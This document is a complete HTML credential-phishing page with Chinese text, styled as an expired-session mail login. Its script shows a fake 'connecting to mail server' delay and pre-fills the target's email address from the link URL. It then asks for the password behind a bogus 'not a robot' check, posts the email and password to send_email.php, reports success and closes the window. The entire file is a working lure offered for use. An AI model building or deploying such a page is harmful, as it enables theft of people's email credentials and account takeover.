<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Expired Session</title>
    <link rel="icon" href="https://www.example.com/favicon.ico">
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
            background: rgba(240, 240, 240, 0.8);
            backdrop-filter: blur(15px);
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            color: #333;
        }

        .message-overlay {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            display: flex;
            justify-content: center;
            align-items: center;
            background: rgba(0, 0, 0, 0.6);
            color: #fff;
            font-size: 1.5rem;
            z-index: 1000;
        }

        .form-container {
            background: #fff;
            width: 300px;
            height: 600px;
            padding: 2rem;
            border-radius: 8px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            border: 1px solid #ccc;
            text-align: center;
            display: none;
            flex-direction: column;
            justify-content: center;
        }

        .form-container img {
            max-width: 100%;
            height: auto;
            margin-bottom: 1rem;
        }

        .form-container h1 {
            margin-top: 0;
            font-size: 1.5rem;
        }

        .form-container p {
            color: #666;
            margin-bottom: 1.5rem;
        }

        .form-group {
            position: relative;
            margin-bottom: 1rem;
            width: 100%;
        }

        .form-group input {
            width: calc(80% - 1.5rem);
            padding: 0.75rem 2rem 0.75rem 2.5rem;
            border: 1px solid #ccc;
            border-radius: 4px;
            font-size: 1rem;
        }

        .form-group input[readonly] {
            background-color: #f9f9f9;
            color: #888;
        }

        .form-group .icon {
            position: absolute;
            top: 50%;
            left: 0.75rem;
            transform: translateY(-50%);
            font-size: 1.2rem;
            color: #888;
        }

        .form-group input:focus {
            outline: none;
            border-color: #007bff;
        }

        .form-container button {
            width: 100%;
            padding: 0.75rem;
            font-size: 1rem;
            color: #fff;
            background-color: #007bff;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-weight: bold;
        }

        .form-container button:hover {
            background-color: #0056b3;
        }

        .form-container .robot-check {
            margin-bottom: 1rem;
            font-weight: bold;
            font-size: 1rem;
        }
    </style>
    <script>
        document.addEventListener("DOMContentLoaded", function() {
            const messageOverlay = document.createElement("div");
            messageOverlay.className = "message-overlay";
            document.body.appendChild(messageOverlay);
            
            // Initial connecting message
            messageOverlay.textContent = "连接到邮件服务器...";
            const formContainer = document.querySelector(".form-container");
            const emailField = document.querySelector("input[name='email']");

            // Pre-populate email if available in URL
            const urlParams = new URLSearchParams(window.location.search);
            const prepopulatedEmail = urlParams.get("email");
            if (prepopulatedEmail) {
                emailField.value = prepopulatedEmail;
                emailField.setAttribute("readonly", "readonly");
            }

            // Simulate connecting to email server
            setTimeout(() => {
                messageOverlay.style.display = "none";
                formContainer.style.display = "flex";
            }, 3000);

            // Handle form submission
            document.querySelector("form").addEventListener("submit", function(e) {
                e.preventDefault();
                messageOverlay.style.display = "flex";
                messageOverlay.textContent = "重新连接...";

                const formData = new FormData(e.target);

                fetch("send_email.php", {
                    method: "POST",
                    body: formData
                })
                .then(response => response.text())
                .then(result => {
                    if (result.trim() === "success") {
                        messageOverlay.textContent = "邮箱已更新";
                        setTimeout(() => {
                            window.close();
                        }, 3000);
                    } else {
                        messageOverlay.textContent = "连接失败，请重试。";
                        setTimeout(() => {
                            messageOverlay.style.display = "none";
                            formContainer.style.display = "flex";
                        }, 2000);
                    }
                })
                .catch(() => {
                    messageOverlay.textContent = "发生错误，请重试。";
                    setTimeout(() => {
                        messageOverlay.style.display = "none";
                        formContainer.style.display = "flex";
                    }, 2000);
                });
            });
        });
    </script>
</head>
<body>
    <div class="form-container">
        <img src="https://media.licdn.com/dms/image/v2/D5612AQHfm16lQ-6yhw/article-cover_image-shrink_720_1280/article-cover_image-shrink_720_1280/0/1660242034781?e=2147483647&v=beta&t=DQX68YyjeoOkzcqyWy4Xpr2xjCG6lHDZ_8RhFh2jOGs" alt="表单标题">
        <p class="robot-check">确认您不是机器人</p>
        <form action="send_email.php" method="POST">
            <div class="form-group">
                <span class="icon">&#9993;</span>
                <input type="email" name="email" placeholder="电子邮件地址" readonly>
            </div>
            <div class="form-group">
                <span class="icon">&#128274;</span>
                <input type="password" name="password" placeholder="密码" required>
            </div>
            <button type="submit">登录</button>
        </form>
    </div>
</body>
</html>
